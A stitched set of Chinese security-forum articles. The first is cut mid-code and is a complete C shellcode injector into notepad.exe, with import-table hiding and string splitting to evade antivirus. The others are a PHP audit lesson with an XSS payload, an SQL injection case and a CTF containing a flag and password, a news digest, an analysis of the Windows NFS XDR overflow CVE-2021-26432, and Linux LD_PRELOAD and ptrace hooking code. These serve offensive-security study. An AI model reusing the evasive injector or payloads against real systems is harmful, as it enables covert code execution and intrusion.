(LPVOID)NULL,
(DWORD)0,
(LPDWORD)NULL );
if (thred == NULL)
{
printf("CreateRemoteThread:%d\n", GetLastError());
}
}
**拍摄快照自动获取pid**
官方demo <https://docs.microsoft.com/en-us/windows/win32/toolhelp/taking-a-snapshot-and-viewing-processes>
// 拍摄快照
HANDLE Snapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS,(DWORD)0);
if (Snapshot == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot:%d\n", GetLastError());
}
//初始化
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
BOOL First = Process32First(
(HANDLE)Snapshot,
&pe32);
if (First == FALSE)
{
printf("Process32First:%d\n", GetLastError());
}
//匹配注入进程名字
DWORD pid;
while (First)
{
if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0)
{
pid = pe32.th32ProcessID;
break;
}
First = Process32Next((HANDLE)Snapshot,
&pe32);
}
**分离加载 shellcode**
HANDLE openinfile = CreateFileA(
//"e:\\calc.bin",
lnFileName,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (openinfile == INVALID_HANDLE_VALUE);
{
printf("CreateFile Error:%d\n", GetLastError());
}
//
int size = GetFileSize(openinfile, NULL);
if (size == INVALID_FILE_SIZE);
{
printf("GetFileSize Error:%d\n", GetLastError());
}
//
char* buf = (char*)malloc(size + 1);
DWORD lpNumberOfBytesRead = 0;
//
BOOL rfile = ReadFile(
openinfile,
buf,
size,
&lpNumberOfBytesRead,
NULL);
for (int i = 0; i < size; i++)
{
printf("\\x%02x", (unsigned char)buf[i]);
}
**IAT，导入地址表（Import Address Table）**
IAT表是执行程序或者dll为了实现动态加载和重定位函数地址，用到的一个导入函数地址表。这里面记录了每个导入函数的名字和所在的dll名称，在pe加载的时候系统会加载这些dll到用户的地址空间然后把函数地址覆盖这个表里的函数地址，然后重构所有用到这个表的代码，让其调用直接指向实际函数地址（PE是否覆盖不确定，驱动会这么做），PE的IAT表会留在内存，驱动的就丢弃了。
**翻译：IAT是一种表格，用来记录程序正在使用哪些库中的哪些函数。**
如果一个文件的文件大小在300KB以内，并且导入函数又有Virtual
Alloc、CreateThread等高危函数、且VirtualAlloc的最后一个参数是0x40，那么此文件极有可能是高危文件，会被重点关注。
这里使用VS自带的 dumpbin查看
没修改iat之前 可以看到存在高危函数 如VirtualAllocEx、CreateRemoteThread、WriteProcessMemory等
**在字符串中还能看到敏感函数关键字，解决办法：通过拆分、源代码混淆、加壳等即可。**
**GetProcAddress 获取函数地址**
GetProcAddress这个API在Kernel32.dll中被导出，主要功能是从一个加载的模块中获取函数的地址。
typedef LPVOID(WINAPI* Virtual_AllocEx)(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
typedef BOOL (WINAPI* ImportWriteProcessMemory)(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_reads_bytes_(nSize) LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_opt_ SIZE_T* lpNumberOfBytesWritten
);
typedef HANDLE (WINAPI* ImportCreateRemoteThread)(
_In_ HANDLE hProcess,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId
);
//避免高危字符串
char ker32[] = { 'K','e','r','n','e','l','3','2','.','d','l','l',0 };
HMODULE hKer32 = LoadLibraryA(ker32);
char VAllocEx[] = { 'V','i','r','t','u','a','l','l','o','c','E','x',0};
Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, VAllocEx);
//ImportVirtualAllocEx MyVirtualAllocEx = //(ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx");
ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteProcessMemory");
ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateRemoteThread");
修改后查看一下导入表，高危函数已不在iat中了
完整代码
#include <windows.h>
#include <stdio.h>
#include <tlhelp32.h>
#include <TCHAR.h>
typedef LPVOID(WINAPI* ImportVirtualAllocEx)(
_In_ HANDLE hProcess,
_In_opt_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flAllocationType,
_In_ DWORD flProtect
);
typedef BOOL(WINAPI* ImportWriteProcessMemory)(
_In_ HANDLE hProcess,
_In_ LPVOID lpBaseAddress,
_In_reads_bytes_(nSize) LPCVOID lpBuffer,
_In_ SIZE_T nSize,
_Out_opt_ SIZE_T* lpNumberOfBytesWritten
);
typedef HANDLE(WINAPI* ImportCreateRemoteThread)(
_In_ HANDLE hProcess,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId
);
void code(LPCSTR lnFileName) {
//char ker32[] = { 'K','E','r','n','e','l','3','2','.','d','l','l',0 };
//HMODULE hKer32 = LoadLibraryA(ker32);
//char VAllocEx[] = { 'V','i','r','t','u','a','l','l','o','c','E','x',0 };
//Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, "VirtualAllocEx");
ImportVirtualAllocEx MyVirtualAllocEx = (ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx");
ImportWriteProcessMemory MyWriteProcessMemory = (ImportWriteProcessMemory)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WriteProcessMemory");
ImportCreateRemoteThread MyCreateRemoteThread = (ImportCreateRemoteThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateRemoteThread");
HANDLE openinfile = CreateFileA(
//"e:\\calc.bin",
lnFileName,
GENERIC_READ,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (openinfile == INVALID_HANDLE_VALUE);
{
printf("CreateFile Error:%d\n", GetLastError());
}
//
int size = GetFileSize(openinfile, NULL);
if (size == INVALID_FILE_SIZE);
{
printf("GetFileSize Error:%d\n", GetLastError());
}
//
char* buf = (char*)malloc(size + 1);
DWORD lpNumberOfBytesRead = 0;
//
BOOL rfile = ReadFile(
openinfile,
buf,
size,
&lpNumberOfBytesRead,
NULL);
for (int i = 0; i < size; i++)
{
printf("\\x%02x", (unsigned char)buf[i]);
}
//
HANDLE Snapshot = CreateToolhelp32Snapshot((DWORD)TH32CS_SNAPPROCESS, (DWORD)0);
if (Snapshot == INVALID_HANDLE_VALUE)
{
printf("CreateToolhelp32Snapshot:%d\n", GetLastError());
}
//
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
BOOL First = Process32First(
(HANDLE)Snapshot,
&pe32);
if (First == FALSE)
{
printf("Process32First:%d\n", GetLastError());
}
//
DWORD pid;
while (First)
{
if (wcscmp(pe32.szExeFile, L"notepad.exe") == 0)
{
pid = pe32.th32ProcessID;
break;
}
First = Process32Next((HANDLE)Snapshot,
&pe32);
}
HANDLE Process = OpenProcess(
(DWORD)PROCESS_ALL_ACCESS,
(BOOL)false,
//(DWORD)atoi(pid));
(DWORD)pid
);
if (Process == NULL)
{
CloseHandle(Process);
printf("\nopenprocess error%d\n", GetLastError());
}
_tprintf(TEXT("\npid:%d\n"), pe32.th32ProcessID);
HANDLE exec = MyVirtualAllocEx(
Process,
NULL,
//sizeof(buf),
size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if (exec == NULL)
{
printf("VirtualAllocEx error%d\n", GetLastError());
}
BOOL Memory = MyWriteProcessMemory(
(HANDLE)Process,
(LPVOID)exec,
(LPCVOID)buf,
//sizeof buf,
size,
NULL);
if (Memory == 0)
{
printf("WriteProcessMemory:%d\n", GetLastError());
}
HANDLE thred = MyCreateRemoteThread(
(HANDLE)Process,
(LPSECURITY_ATTRIBUTES)NULL,
(SIZE_T)0,
(LPTHREAD_START_ROUTINE)exec,
(LPVOID)NULL,
(DWORD)0,
(LPDWORD)NULL);
if (thred == NULL)
{
CloseHandle(thred);
printf("CreateRemoteThread:%d\n", GetLastError());
}
}
int main(int argc, char* argv[]) {
//int main()
if (argc != 2)
{
printf("please bin");
}
else
{
code(argv[1]);
}
}
后续还可以尝试增加syscall直接调用、回调函数执行、申请内存优化、高强度加密混淆等等，还请师傅自行搭配使用。
# 0x04 相关推荐
<https://payloads.online/archivers/2020-10-23/1/>
<https://macchiato.ink/hst/ProcessInjection/CreateRemoteThread/>
<https://github.com/d35ha/CallObfuscator>
# 0x05 后记
不足之处欢迎师傅们指点和纠正，感谢给予帮助和支持的朋友，最后谢谢你。
声明：本文章经用于经验及交流，严禁用于非法操作，出现后果一切自行承担，阅读此文章表示你已同意。 | 社区文章 |
本文由红日安全成员： **l1nk3r** 编写，如有不当，还望斧正。
## 前言
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 [**PHP-Audit-Labs**](https://github.com/hongriSec/PHP-Audit-Labs) 。现在大家所看到的系列文章，属于项目
**第一阶段** 的内容，本阶段的内容题目均来自 [PHP SECURITY CALENDAR
2017](https://www.ripstech.com/php-security-calendar-2017/)
。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 **第12篇**
代码审计文章：
## Day 12 - String Lights
题目代码如下：
**漏洞解析** ：
根据题目意思，这里考察的应该是个 **xss漏洞** ， 漏洞触发点应该在代码中的 **第13-14行** 。这两行代码的作用是直接输出一个html的
`<a>` 标签。代码中的 **第3-5行** ， **foreach循环** 对 **$_GET** 传入的参数进行了处理，但是这里有个问题。我们看下
**第四行** 的代码，这行代码针对 **$value** 进行类型转换，强制变成int类型。但是这部分代码只处理了 **$value** 变量，没针对
**$key** 变量进行处理。经过了 **第3-5行** 的代码处理之后，根据 **&** 这个符号进行分割，然后拼接到 **第13行** 的
**echo** 语句中，在输出的时候又进行了一次 **htmlentities** 函数处理。 **htmlentities**
函数主要是会对一些特殊符号进行HTML实体编码。具体定义如下：
> [htmlentities](http://php.net/manual/zh/function.htmlentities.php) — 将字符转换为
> HTML 转义字符
>
>
> string htmlentities ( string $string [, int $flags = ENT_COMPAT |
> ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool
> $double_encode = true ]]] )
>
>
> 作用：在写PHP代码时，不能在字符串中直接写实体字符，PHP提供了一个将HTML特殊字符转换成实体字符的函数 htmlentities()。
注： **htmlentities()**
并不能转换所有的特殊字符，是转换除了空格之外的特殊字符，且单引号和双引号需要单独控制（通过第二个参数）。第2个参数取值有3种，分别如下：
* ENT_COMPAT（默认值）：只转换双引号。
* ENT_QUOTES：两种引号都转换。
* ENT_NOQUOTES：两种引号都不转换。
这里附上一个 [HTML 中有用的字符实体表](http://www.w3school.com.cn/html/html_entities.asp)
经过上面的分析，我们再回到题目，想想如何构造一下攻击 **payload** 。我们先梳理一些已知信息：
* 这里的 **$query** 参数可控
* 且 **htmlentities** 函数在这里可逃逸单引号
* xss的漏洞触发点在 `<a>` 标签。
在 `<a>` 中，我们可以通过 **javascript** 事件来执行js代码，例如： **onclick** 这类事件，因此最后的poc构造如下：
/?a'onclick%3dalert(1)%2f%2f=c
## 实例分析
本次实例分析选择 [DM企业建站系统
v201710](http://sqdownb.onlinedown.net/down/1510917608_44072_ym.rar) 中的
**sql注入漏洞** 来进行分析。首先，我们可以从cnvd上面看到一些相关信息，如下：
从漏洞通告中可以发现一些有用的信息，漏洞位置在登陆处，搭建的时候提示后台登陆口位置在 **admindm-yourname/g.php**
文件中，打开这个文件，发现重定向到 **admindm-yournamemod_common/login.php**
文件中，所以漏洞触发点应该就在这个文件中。
打开 **admindm-yournamemod_common/login.php** 这个文件，一眼就看到漏洞位置，截取部分相关代码如下：
**第15行** 很明显存在sql注入漏洞，通过拼接的方式直接插入到select语句中。 **第15行** 中的 **$user** 变量是通过
**POST** 方式提交上来，其值可控。但是上图的 **第3行** 代码调用 **htmlentitiesdm** 函数，对 **POST**
数据进行了处理，我们跟进这个 **htmlentitiesdm** 函数。该函数位置在 **component/dm-config/global.common.php** 文件中，截取关键代码如下：
这个函数是调用 **htmlentities** 函数针对输入的数据进行处理。前面我们已经介绍过了这个函数的用法，这里这个函数的可选参数是
**ENT_NOQUOTES** ，也就是说两种引号都不转换。下面我们来看个小例子：
这里我猜测开发者应该是考虑到了xss的问题，但是由于 **htmlentities**
这个函数选择的参数出现了偏差，导致这里我们可以引入单引号造成注入的问题。
我们看看最新版是怎么修复，使用 **beyond compare** 对比两个版本代码的差别。
新版修复的时候将可选参数修改为 **ENT_QUOTES**
，这个参数的作用就是过滤单引号加双引号，我们来看看下面这个例子，就很容易明白了这个参数的作用了。
## 漏洞验证
这里因为没有回显，所以是盲注，下面是验证截图：
## 漏洞修复
针对 **htmlentities** 这个函数，我们建议大家在使用的时候，尽量加上可选参数，并且选择 **ENT_QUOTES** 参数。
我们看看对比的效果
## 结语
看完了上述分析，不知道大家是否对 **htmlentities** 函数在使用过程中可能产生的问题，有了更加深入的理解，文中用到的代码可以从
[这里](http://sqdownb.onlinedown.net/down/1510917608_44072_ym.rar)
下载，当然文中若有不当之处，还望各位斧正。如果你对我们的项目感兴趣，欢迎发送邮件到 **[email protected]** 联系我们。
**Day12** 的分析文章就到这里，我们最后留了一道CTF题目给大家练手，题目如下：
<?php
require 'db.inc.php';
if(isset($_REQUEST['username'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['username'])){
die("Attack detected!!!");
}
}
if(isset($_REQUEST['password'])){
if(preg_match("/(?:\w*)\W*?[a-z].*(R|ELECT|OIN|NTO|HERE|NION)/i", $_REQUEST['password'])){
die("Attack detected!!!");
}
}
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM ctf.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
#echo $query;
$result=mysql_query($query);
while($row = mysql_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['name'] . "</td>";
echo "</tr>";
}
?>
# Host: localhost (Version: 5.5.53)
# Date: 2018-08-05 12:55:29
# Generator: MySQL-Front 5.3 (Build 4.234)
/*!40101 SET NAMES utf8 */;
#
# Structure for table "users"
#
DROP TABLE IF EXISTS `users`;
CREATE TABLE `users` (
`Id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(255) DEFAULT NULL,
`pass` varchar(255) DEFAULT NULL,
`flag` varchar(255) DEFAULT NULL,
PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;
#
# Data for table "users"
#
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES (1,'admin','qwer!@#zxca','hrctf{sql_Inject1on_Is_1nterEst1ng}');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
题解我们会阶段性放出，如果大家有什么好的解法，可以在文章底下留言，祝大家玩的愉快！
## 参考文章
[Code-Audit-Challenges](https://github.com/CHYbeta/Code-Audit-Challenges/blob/master/php/challenge-50.md) | 社区文章 |
# 3月31日热点 - 勒索软件周-大部分是小变种
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
勒索软件周 – 2018年3月30日 – 大部分小变种
[ https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-30th-2018-mostly-small-variants/](https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-march-30th-2018-mostly-small-variants/)
配置错误的Django应用程序暴露了秘密API密钥和数据库密码
[ https://www.bleepingcomputer.com/news/security/misconfigured-django-apps-are-exposing-secret-api-keys-database-passwords/](https://www.bleepingcomputer.com/news/security/misconfigured-django-apps-are-exposing-secret-api-keys-database-passwords/)
报告：联网汽车能对交通运输系统造成干扰
<https://blog.trendmicro.com.tw/?p=55029>
AutoHotKey恶意软件现在已成为一个事实
<https://www.bleepingcomputer.com/news/security/autohotkey-malware-is-now-a-thing/>
## 技术类
探索Cobalt Strike的ExternalC2框架
<https://blog.xpnsec.com/exploring-cobalt-strikes-externalc2-framework/>
有趣的闪存（和意外内存泄漏）
<https://advancedpersistentjest.com/2018/03/30/fun-with-flash-memory-and-accidental-memory-leaks/>
Exodus钱包（ElectronJS框架）远程执行代码
[
https://cxsecurity.com/issue/WLB-2018030249](https://cxsecurity.com/issue/WLB-2018030249)
越狱iOS全局开启WebView远程调试
<https://paper.seebug.org/555/>
Faleemi Windows桌面软件 – （DDNS / IP）本地缓冲区溢出
[ https://www.exploit-db.com/exploits/44382/](https://www.exploit-db.com/exploits/44382/)
宜信漏洞管理平台『洞察』
<https://mp.weixin.qq.com/s/24V5nJ47ZyAAYTU78mjgvg>
【代码审计】QYKCMS后台任意文件上传、任意文件读取漏洞
[https://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=2448903645&idx=1&sn=bd058d8d8b35bcbe228590b287a668ca](https://mp.weixin.qq.com/s?__biz=MzA3NzE2MjgwMg==&mid=2448903645&idx=1&sn=bd058d8d8b35bcbe228590b287a668ca) | 社区文章 |
**作者：yyjb@360高级攻防实验室
原文链接：<http://noahblog.360.cn/untitled-2/>**
## 背景
2021年8月份有两个较严重的漏洞需要关注，其中包括NFS ONCRPC XDR Driver
远程代码执行漏洞CVE-2021-26432以及RDP客户端远程代码执行漏洞CVE-2021-34535。
我们的目标是分析这些潜在影响可能较大的漏洞是否容易在实际的场景中被利用。这里，我们分析NFSXDR漏洞CVE-2021-26432。
## NFSXDR驱动服务简介
## 补丁分析
分析补丁我们能比较容易确定漏洞修补的位置。
其中一处修改的地方是在函数OncRpcMsgpDecodeRpcCallVerifier中增加对参数的判断，
另一个则是在OncRpcBufMgrpAllocateDescriptorFromLLLargePoolAllocation函数中申请内存后，立即初始化该内存。
## 构造poc
直观上来判断，RCE的cve更可能和第一个判断有关，这里我们通过追踪补丁的判断参数a1+296这个值的所有引用，最后在下面的函数中，找到了和它有关的另一个判断位置。
我们这里可以猜测这是一个计算消息头长度的函数，满足漏洞触发条件之一，需要这个长度固定为36。再查阅相关资料，我们能知道其余漏洞的触发条件是如果我们选择了RPC了验证方式为6（RPCSEC_GSS），则RPC中Credentials中的Flavor为1即AUTH_UNIX（而补丁修补后Credentials中的Flavor只能是为6）。然后我们根据协议文档尝试构造数据包，通过后续的分析对比可以明确上面的固定长度对应的是GSS_Token中的数据长度。
构造GSS_Token中的数据长度大于其在此情况下系统默认固定长度36即可触发漏洞路径。
由于对GSS_Token数据长度计算方式判断错误，返回的数据是可能会超过其默认申请的长度，我们可以通过灵活的构造请求包中的GSS_Token数据长度来控制这个漏洞可能会导致的效果：
如果其长度比默认的36长得不是太多（大致0x50左右），返回的数据包中会包含除GSS_Token数据之外其他的结构数据，这是一个可以导致一个信息泄露的效果：其泄露的数据具体来说包含整个对象内存的地址指针。如果我们的GSS_Token数据长度更长，则系统处理这些数据就会溢出掉后面其他所有结构数据直到其他未知内存（超出0x100基本会崩溃）。另外注意GSS_Token数据长度不是无限长度任意构造的，并且由于NFSxdr驱动中对数据接收的一些其他的限制，我们所能构造的溢出长度最长只能大概0x4000左右。
## 利用
目前，我们已经有一个比较稳定的溢出。通常漏洞利用会尝试溢出一些特定的数据来得到一个指针执行机会。
我们考虑了以下两种方式：
A,通过溢出控制对象大小为0x900（*XdBD，这是一种NFSXDR为内部申请小于0x800的缓冲区对象）的内部链表缓冲区头，控制下一个缓冲区地址。构造写原语，一方面这种内部缓存的对象链表通常不需要校验其头部数据，这样溢出后会比较稳定。另一方面，通过控制这种内部链表结构，我们可以更加精确的控制其中的内存申请释放时机。
但一方面，这个单链表的长度太短了只有4。这种0x900的对象它的生命周期是随着RPC命令一起生成和释放的。一旦我们尝试风水布局，我们很难确定到这个4个对象的位置。另一方面我们不能通过前面提到的信息泄露的方式去知道这几个对象的地址。因为目前的信息泄露触发方式只能是在申请大缓冲区时才能满足漏洞条件的。而这个0x900的对象属于较小内存对象。
B,通过溢出控制OncRpcConnMgrpWskReceiveEvent中的OncRpcWiMgrpSrvWorkItemAlloc申请的内存（长度为0xa00的NLM对象），控制其对象中的引用指针。借助一个独立的信息泄露漏洞（参考本文最后一节），在我们布局的非分页内存中存放rop链来执行代码。
NFS本身是一个无状态的通讯协议，他使用了NLM对象来保证协议的中的资源正常访问读写。这里的NLM对象，有一些特性值得我们注意。
当多个RPC请求短时间传到服务端时，服务端会使用OncRpcConnMgrpWskReceiveEvent中这样的的一个流程去处理这些请求。
我打印了一部分我们关注的对象的生命周期。我们的目标是溢出NLM对象头部保存的OncRpcMsgProcessMessage函数指针。如下图：
该指针会在其释放前在NFS RPC工作线程中被调用：
该对象生命周期如下：
下图中的W-pool对应NLM对象。我们的目的是在NLM释放前调用其内部的OncRpcMsgProcessMessage指针时，覆盖该指针。
NFSXRD中，每一种不同的请求类型对应不同的的RPC请求，我们通过调整RPC请求中类型的位置和顺序能能够按照我们预期的时机触发溢出。，
NLM对象释放前，我们触发了溢出：
具体来说，我们申请一个0x1490的大内存对象（0x1490是我们可控制的申请读写数据的长度数据内存），之后使用NLM对象填充这些0x1490剩余的空洞。然后再释放所有0x1490的内存对象，在此时重新申请0x1490的读写请求包，在这其中一个包结构中触发漏洞。
以期望在所有的NLM对象释放前，溢出某一个NLM对象中的OncRpcMsgProcessMessage指针。
但结果并不能如预期那样，使漏洞刚好溢出到我们期望的目标上，即使是非常低的概率也没有。除此之外，我们还尝试了另一种不同的溢出思路：
第二种方法，大量发出某一种特定的PRC的指定请求（NLM请求），OncRpcConnMgrpWskReceiveEvent处理流程中会大量交替申请0xa00和0x900两种对象，并且这两个对象是成对出现的他们会各自占用0x1000的内存并形成一个较稳定的内存结构。当前面循环的RPC请求部分前面的相邻0xa00，0x900对象释放时，合并出0x2000的空闲内存。之后在还有剩余RPC请求存在的时候，构造漏洞溢出的内存长度为0x2000溢出其中的一个0xa00
NLM对象的头部。
## 总结
但后续根据大量测试，我们并不能控制NLM对象能在我们漏洞触发时刚好释放。他有自己的时间计时器，其存在时间总也总是是低于我们的预期。并且另外一个关键的地方是，我们所构造的漏洞消息所申请的内存必须大于1K，太小则不能触发漏洞流程。这时我们也不能使用0x900或者0xa00这样本身存在的对象来占位。
我们最大的问题就是我们溢出的目标对象很难在我们控制得时机，布局成我们期望的位置（无论是0xa00 _RSWI还是0x900_ XdBD）。
综上，如果仅仅限制在最新的win10以上的NFSXDR协议内部，要实现利用似乎并不容易。但考虑到目前已知的在其他协议上的一些研究结果，如果是针对一些例如server2008这样较老系统上布置的NFSXDR服务。该漏洞是可能比较容易通过一些其他协议的内存布局方式而成功利用的。
## 新的漏洞
在分析漏洞的补丁差异之初，我们有留意到补丁中对申请大于0x800的小内存时，才增加了一个初始化内存的操作，但当申请较小内存的时候，并没有对应的补丁代码。
如下：
按照思维惯性，我们在后续的分析中，就会带着这样的一个疑问进行后续的分析——当申请较小内存时，是否也会存在同原理的错误？
当我们在后续尝试exp的分析过程中发现，当我们构造数据包中GSSTOKEN数据长度如果不为4的整倍数时，返回的数据中最后几位字节有时会出现一些不确定的数据，（如下面的示例）
这是调整申请内存构造数据包大小时候偶然发现的（申请较小内存），深入分析后，最终的结果证明了我们之前的猜测。
该协议中对于数据包对齐的逻辑中，在复制数据时，对于非4的整数长度字节数据系统会仍然会自动填补其长度为4的倍数。而其返回的数据，就会有额外的不确定内存。其长度为4-x，x为GSSTOKEN除以4的余数。
然后，这样的一个错误能导致怎样的结果呢？
为了泄漏更长的数据，我们选择 x=1。 在下面的例子中，选择数据长度为 0x23d=0x23c+1；
我们可以通过增加4 的字节（或 4 的倍数）来设置读取请求数据的长度，以改变要泄露的其他感兴趣的不同位置的数据。 如下：0x241=0x23d+4。
什么这里的示例使用 0x23d 的读取长度？
这是因为当我们选择用较小的内存读取数据时，nfsxdr 默认申请内存的大小为 0x900。
在申请这个大小的内存时，很容易使用其他刚刚释放的大小相同的对象的内存。 在我们调试的环境win10中，Thread内核对象的大小也恰好是接近0x900。
如果是这样的话，这里选择读取 0x23d 长度的数据很可能对应到Thread 对象中存储的函数指针地址 0xfffff806 37efe930。
最后我们可以得到0xfffff8XX 37efe9XX这样的信息。 但是，长度为 8 字节的地址仍有 2 个字节无法确认。
通常来说，这样的信息泄露在现代windows系统上的作用似乎仍然受到地址随机化的限制，对于“37efe930“低位的“30”，一般来说有时我们是可能猜测的，但我们不能确认0xfffff806中的“06”。然而在一些过时的windows系统如win7，这样的信息泄露，足够取得一个内核指针信息。
所以在调用OncRpcBufMgrpAllocateDescriptorFromLLInlineBuffer时这里似乎可能仍然需要初始化其内存。
此错误已经在2月份修补为cve-2022-21993。
## 参考
<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26432>
* * * | 社区文章 |
### Linux下Hook方式汇总
* #### 导语
* Linux下的Hook方式，从ring3到ring0，姿势很多，但其实是互通的，这里总结自己实现的几个。
/****** Ring3 ******/
LD_PRELOAD劫持.so
ptrace API调试技术Hook
PLT劫持
/******* Ring 0 *******/
针对系统调用的hook
--首先获得sys_call_table
利用sys函数的嵌套实现hook调用的子函数
修改系统调用的前几个字节为jmp之类的指令（内联
* 网上很多教程是针对Linux2.6左右的，很多方法需要自己重新摸索，记录踩坑。
* 注： 以下所有代码在 **Linux 5.0.3. x86_64** 内核调试通过。
* #### LD_PRELOAD劫持.so
* LD_PRELOAD是一个Linux下的动态链接的程序的环境变量，几乎我们用到的函数实现来自于glibc，.so文件是glibc编译得到的库，类似于Win下的DLL。而LD_PRELOAD变量 **优先于相关配置** 指定链接到哪个.so文件。
* 一旦我们可以控制该变量，也就可以决定程序调用函数时会做什么。
* 实例展示
* 目标文件target.c
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
if( strcmp(argv[1], "password") )
{
printf("Incorrect password\n");
}
else
{
printf("Correct password\n");
}
return 0;
}
//gcc target.c -o target
* 伪造的.so文件preload.c
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
typedef int(*Strcmp)(const char*, const char*);
int strcmp(const char* s1, const char* s2)
{
static void* handle = NULL;
static Strcmp org_strcmp = NULL;
if(!handle)
{ //解析得到真实的strcmp函数
handle = dlopen("libc.so.6", RTLD_LAZY);
org_strcmp = (Strcmp)dlsym(handle, "strcmp");
}
//做我们想做的
printf("Hacked by way of ld_preload\n\n\n");
//完成真实地功能
return org_strcmp(s1, s2);
}
//gcc -fPIC preload.c -shared -o preload.so -ldl
* 这种方式比较简单，前提是程序不是静态链接的。（不会再解析.so，程序已经包含了库函数的实现）。
* 防护方案
* 关闭LD_PRELOAD
* #### ptrace API调试技术Hook
* ptrace是很多Linux平台下调试器实现的基础，包括syscall跟踪程序strace。
* ptrace可以实现调试程序、跟踪；但是一个进程只能被一个进程跟踪。所以无法在gdb或者其他程序调试的时候去ptrace一个程序，同样也无法在ptrace一个进程的时候，再去gdb调试。后者经常作为一个简单的反调试手段。
* 而且Linux下的攻防中，ptrace也由于自己的特殊性，常常是必争之地。
* 总体思路
ptrace attach目标进程
保存rip
控制跳转到mmap分配一段rwx内存
将一段机器码copy进去
控制跳转到机器码（可以以bin文件的形式）
恢复执行。
* 简单示例代码
* 首先需要知道一些函数在目标进程的地址，下面是已知pid获取libc基地址（读取 **/proc/pid/maps** ），和函数地址( **dlsym** )
size_t getLibcbase(int pid)
{
size_t libcAddr;
char* buf;
char* end;
char* mapfile[0x18];
sprintf(mapfile, Mapfile, pid);
FILE* fd = fopen(mapfile, "r");
if(!fd)
{
printf("open maps error!");
exit(1);
}
//search the libc-.....
buf = (char*) malloc(0x100);
do{
fgets(buf, 0x100, fd);
} while(!strstr(buf, "libc-"));
end = strchr(buf, '-');
libcAddr = strtol(buf, &end, 16);
printf("The process %d's libcbase is: 0x%lx\n", pid, libcAddr);
fclose(fd);
return libcAddr;
}
size_t getFuncAddr(int pid, char* funcName)
{
size_t funcAddr;
char* buf;
char* end;
char* mapfile[0x18];
sprintf(mapfile, Mapfile, pid);
//get function offset from self process, the shared libc.so
funcAddr = (size_t)dlsym(0, funcName);
funcAddr -= getLibcbase(getpid());
funcAddr += libc_addr;
printf("function %s address is: 0x%lx\n", funcName, funcAddr);
return funcAddr;
}
* **main** 代码
* 为了得到存放shellcode的地址，我们需要先执行mmap，而执行mmap也需要一段可执行地址。这里其实我们可以直接使用libc_base。在libc_base处写入下面的opcode，其中int 0x3是为了发出信号，让我们知道该opcode执行完成。
call rax
int 0x3
;"\xff\xd0\xcd\x03"
* 实现mmap调用
* 备份数据，写入opcode，设置mmap参数
//save a bak of regs
ptrace(PTRACE_GETREGS, traced, 0, ®s_bak);
memcpy(®s, ®s_bak, sizeof(struct user_regs_struct));
//use libc_base to write our short hook code
buf.val = ptrace(PTRACE_PEEKTEXT, traced, libc_addr, 0);
hook_bak.val = buf.val;
memcpy(buf.chars, Call, 4);
ptrace(PTRACE_POKETEXT, traced, libc_addr, buf.val);
fd = open(argv[2], O_RDONLY);
fstat(fd, &sb);
